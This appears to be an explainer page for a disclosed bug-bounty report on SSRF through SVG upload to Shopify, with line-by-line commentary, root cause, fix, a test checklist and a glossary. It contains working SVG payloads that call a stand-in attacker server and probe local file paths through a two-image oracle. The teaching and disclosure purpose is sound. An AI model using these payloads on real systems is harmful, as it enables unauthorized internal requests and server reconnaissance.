<!DOCTYPE testingxxe [ <!ENTITY xml "eXtensible Markup Language"> ]>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>/image.jpg" />
<text x="0" y="20" font-size="20">&xml;</text>
</svg>

Line by line:

  • The first line is the same XML declaration as before.
  • <!DOCTYPE testingxxe [ <!ENTITY xml "eXtensible Markup Language"> ]>: this is a document type declaration. It can define named pieces of text called entities. Here an entity called xml is defined with the value eXtensible Markup Language. The name testingxxe is just a label for this declaration. An entity is like a saved snippet: you write its name, and the parser replaces it with the text.
  • The <svg ...> line is the same as before.
  • <image ... xlink:href="http://<EXAMPLE_SERVER>/image.jpg" />: the same kind of external image reference as in step 1, this time pointing at image.jpg.
  • <text x="0" y="20" font-size="20">&xml;</text>: a text element placed at coordinates 0,20 with font size 20. Its content is &xml;, which is how you refer to the entity defined above. When the parser reads it, it substitutes the saved text.
  • </svg> closes the document.

Why this step: entities are the doorway to a related class of attack called XXE, short for XML External Entity. In XXE, an attacker defines an entity that points at a file or a URL, and the parser fetches it. The researcher was checking whether this parser would accept entity definitions at all. It accepted a static one, meaning a fixed piece of text.

Because static entities are allowed, the researcher considers the "a billion laughs" attack probably possible, but notes that DoS is not in scope of the bug bounty program. The billion laughs attack is a document that defines entities which refer to each other in a way that multiplies the text enormously, so the parser runs out of memory. DoS stands for Denial of Service: making a service unavailable. Bug bounty programs often exclude it because it can be hard to test safely.

The parser does not like SYSTEM entities: a different DTD file cannot be specified, SYSTEM entities cannot be added, and other XXE attacks do not work. A SYSTEM entity is one whose value is a file path or URL rather than fixed text, which is the form that makes XXE dangerous. A DTD is a separate file that defines the structure and entities of an XML document. Since neither was accepted, the researcher could not escalate from SSRF to reading arbitrary files through XML entities.

Step 7: chain two image references into an oracle

Two image references can be used, and as long as the first URL returns a valid image, the second one is requested as well:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:81/example.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>

Line by line:

  • The XML declaration and the <svg> opening tag are the same as before.
  • <image ... xlink:href="http://<EXAMPLE_SERVER>:81/example.png" />: the first picture, fetched from the researcher's server on port 81. The :81 part is the port number.
  • <image ... xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />: the second picture, fetched from the same server on port 999.
  • <text ...>test</text>: a text element containing the word test.
  • </svg> closes the document.

Why this step: the researcher is testing the order in which the server fetches the two pictures. The observation is that the second URL is only requested if the first one returns a valid image. That turns the server into a yes/no answering machine, which in security language is called an oracle: a system you can ask questions and get a reliable answer from, without it telling you anything directly.

This produces an is-picture-present oracle. By sending a local path first, the attacker can find out whether a file that includes a picture is present on the file system. Because an interaction is received for the following SVG, the picture /lib/plymouth/ubuntu_logo.png is known to be present on the system. This does not work with non-image files such as /etc/passwd:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>

Line by line:

  • The XML declaration and <svg> opening tag are unchanged.
  • <image ... xlink:href="/lib/plymouth/ubuntu_logo.png" />: the first picture now points at a path on the server's own disk instead of at a web address. A path starting with / means "start from the root of the file system". /lib/plymouth/ubuntu_logo.png is a picture file that ships with Ubuntu, a common Linux operating system.
  • The second <image> still points at the researcher's server on port 999.
  • The <text> element and the closing </svg> are unchanged.

Why this step: this is the clever part. The server cannot show the attacker the contents of its own files, but it can be made to answer a yes/no question about them. If the local file exists and is a valid picture, the first image loads, so the server goes on to fetch the second image, and the researcher sees a request arrive. If the file does not exist or is not a picture, the chain stops and nothing arrives. The presence of the request is the "yes". The researcher confirmed that /lib/plymouth/ubuntu_logo.png exists on the system this way. The technique does not work for non-image files such as /etc/passwd, the classic Linux file of user accounts, because the parser needs a valid picture to continue.

Step 8: fingerprint installed libraries

The following pictures allow fingerprinting the versions of libraries installed on the server. The researcher states that these three files are present on Shopify's servers:

  • /usr/share/doc/libpng12-dev/examples/pngtest.png (libpng12-dev is installed)
  • /usr/share/doc/libfreetype6/tutorial/metrics.png
  • /usr/share/doc/libexpat1-dev/expat.html/expat.png

A library is a bundle of code that other programs reuse, for example to read PNG pictures or to handle fonts. Fingerprinting means working out what software and which versions a server runs, from indirect clues. Documentation packages on Linux often install example pictures in predictable places under /usr/share/doc/, so finding one tells you the matching package is installed. Knowing the exact software on a server helps an attacker pick which known weaknesses to try next.

Why this step: the researcher is showing that the oracle is not limited to one file. By probing well-known paths, an attacker can build a picture of the server's software without ever reading a file's contents.

Root cause

The upload handler processes the file before it applies its check for valid file types, so the SVG is parsed even though the upload is ultimately rejected. The type check is therefore not a barrier to the fetch. The parser accepts static entities but rejects SYSTEM entities and external DTDs, which limits the issue to SSRF and file-presence probing rather than full XXE. Outbound filtering is minimal: only TCP port 113 is filtered, and only http:// and ftp:// are followed.

In plain words: the guard was standing at the wrong door. By the time it said no, the damage was done. And once the server is allowed to make requests outward, very little stops it from reaching most of the Internet.

Impact

An authenticated store admin can make the Shopify server issue DNS and HTTP (and FTP) requests to arbitrary hosts and ports on the Internet, and can probe the local file system for the presence of image files. Non-image files such as /etc/passwd cannot be read. The response to the upload is a 422 error regardless, so the attacker relies on out-of-band interaction with a server they control. The report does not describe reading file contents, only detecting presence.

A few terms here:

  • DNS: the system that turns a name like example.com into an IP address, the numeric address of a machine. A DNS interaction means the target looked up a name, which is itself a signal to the attacker.
  • Out-of-band: the attacker does not learn the result from the reply to their own request. They learn it from a separate channel, here the request arriving at their own server.
  • Authenticated: the attacker needs a valid logged-in session. In this case that means a shop admin account, which limits who can carry out the attack but does not make it harmless, since shop admins are not supposed to be able to reach Shopify's internal network.

Fix

The implied requirement is to validate the file type before processing the file, so that an SVG declared as a PNG is rejected before it is parsed.

Variants to test

These are the same checks, phrased as things to try if you are testing a similar feature:

  • Upload an SVG with an external <image xlink:href> to a server you control, using a .png filename and image/svg+xml content type. A positive result is a DNS and HTTP request arriving at your server despite an error response.
  • Try ftp:// in the xlink:href. A positive result is an FTP connection from the target.
  • Scan outbound ports with HTTP and FTP references. A positive result is a SYN packet on ports other than those filtered.
  • Use two <image> elements, the first pointing at a local path and the second at your server. A positive result is a request to the second URL, indicating the local file exists and is a valid image.
  • Probe known documentation paths for image files to fingerprint installed libraries.
  • Test static entity declarations in the SVG. A positive result is the entity being expanded in the parsed document.

Hunting notes

This kind of bug tends to hide in image and file upload features that accept SVG, especially where the extension and the declared content type are checked separately or after parsing. During recon, look for upload endpoints that return a processing error but still make outbound requests, and for parsers that accept static entities. The researcher demonstrated impact by showing the out-of-band interaction, the protocol and port behaviour, and a file-presence oracle with library fingerprinting.

Glossary

  • API: a defined way for one program to talk to another, usually over the web, with agreed addresses and data formats.
  • Billion laughs: an XML attack that defines entities referring to each other so the text multiplies enormously and the parser runs out of memory.
  • Boundary: a separator string in a multipart form that marks where one part ends and the next begins.
  • Bug bounty: a programme where a company pays researchers for reporting security bugs responsibly.
  • Content-Type: a label saying what kind of data a file or request part contains.
  • Cookie: a small piece of data a website stores in your browser and receives back on later requests, often used to keep you logged in.
  • CSRF token: a secret value tied to your session that a site expects back on state-changing requests, to stop other sites from making those requests for you.
  • Denial of Service (DoS): making a service unavailable, for example by exhausting its memory.
  • DNS: the system that translates a name like example.com into a numeric IP address.
  • DTD: a separate definition file describing the structure and entities of an XML document.
  • Entity: a named piece of text or a reference defined in an XML document and substituted by the parser when its name is used.
  • Fingerprinting: working out which software and versions a server runs from indirect clues.
  • FTP: File Transfer Protocol, an older protocol for moving files between machines.
  • HackerOne: a website where security researchers report bugs to companies and programmes manage those reports.
  • HTTP: the protocol browsers and servers use to exchange web pages and data.
  • JSON: a text format for structured data, made of names and values.
  • Library: a bundle of reusable code that other programs use, for example to read pictures or handle fonts.
  • Multipart form: a way of sending a form that includes files, splitting the body into parts separated by a boundary.
  • Oracle: a system you can ask questions and get reliable yes/no answers from, without it revealing the underlying data directly.
  • Out-of-band: learning the result of an attack through a separate channel, such as a request arriving at your own server, rather than through the reply.
  • Outbound filtering: blocking connections that leave a company's network, so a compromised machine cannot reach arbitrary destinations.
  • Parsing: reading a file and working out its structure and meaning.
  • Port: a numbered channel on a computer that a particular service listens on.
  • Protocol: an agreed set of rules for communication, such as HTTP or FTP.
  • Regression: a bug that was fixed before and has come back.
  • Session: the state of being logged in, maintained across requests by a cookie or token.
  • SSRF (Server-Side Request Forgery): a bug where an attacker makes a server send a request to an address of the attacker's choosing.
  • SVG: a picture format written as text in XML, which can contain links to other images.
  • SYN packet: the first message of a TCP connection, asking whether the other side is willing to talk.
  • SYSTEM entity: an XML entity whose value is a file path or URL rather than fixed text, the dangerous form used in XXE.
  • TCP: the protocol that carries most Internet traffic, including HTTP.
  • URI scheme: the prefix at the start of an address, such as http:// or ftp://, that says which protocol to use.
  • UTF-8: a standard way of encoding characters as bytes.
  • W3C: the organisation that publishes web standards.
  • XML: a general text format for structured documents, of which SVG is one.
  • XXE (XML External Entity): an attack where an XML document defines an entity that makes the parser fetch a file or URL.
  • xlink:href: the attribute in an SVG <image> element that holds the address of the picture to display.

More by floyd

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.